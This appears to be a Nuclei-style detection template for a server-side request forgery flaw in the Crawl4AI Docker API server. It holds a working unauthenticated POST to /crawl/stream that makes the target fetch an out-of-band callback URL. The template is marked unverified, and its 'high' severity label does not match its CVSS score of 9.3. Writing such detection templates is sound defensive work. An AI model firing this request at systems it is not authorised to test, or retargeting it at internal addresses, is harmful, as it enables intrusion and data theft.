id: CVE-2026-57573 info: name: "Crawl4AI - Server-Side Request Forgery" author: vedas-arpsyndicate severity: high description: | Crawl4AI before 0.9.0 ships a Docker API server that applies its SSRF destination check only on the non-streaming crawl path. The streaming handler handle_stream_crawl_request passes the seed URLs straight to the crawler without destination validation, so a remote unauthenticated client can POST /crawl/stream (or POST /crawl with crawler_config.stream=true) with a URL pointing at an internal, private or link-local address and the server will fetch it and stream the response body back, enabling server-side request forgery. reference: - https://www.exploit.observer/?keyword=CVE-2026-57573&match=exact - https://subdomain.center/?engine=ammonites&keyword=crawl4ai&match=exact classification: cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:L/A:L cvss-score: 9.3 cve-id: CVE-2026-57573 cwe-id: CWE-918 metadata: verified: false max-request: 1 tags: cve,cve2026,crawl4ai,ssrf,oast,unauth,intrusive http: - raw: - | POST /crawl/stream HTTP/1.1 Host: {{Hostname}} Content-Type: application/json {"urls": ["http://{{interactsh-url}}"]} matchers-condition: and matchers: - type: word part: interactsh_protocol words: - "http" - "dns"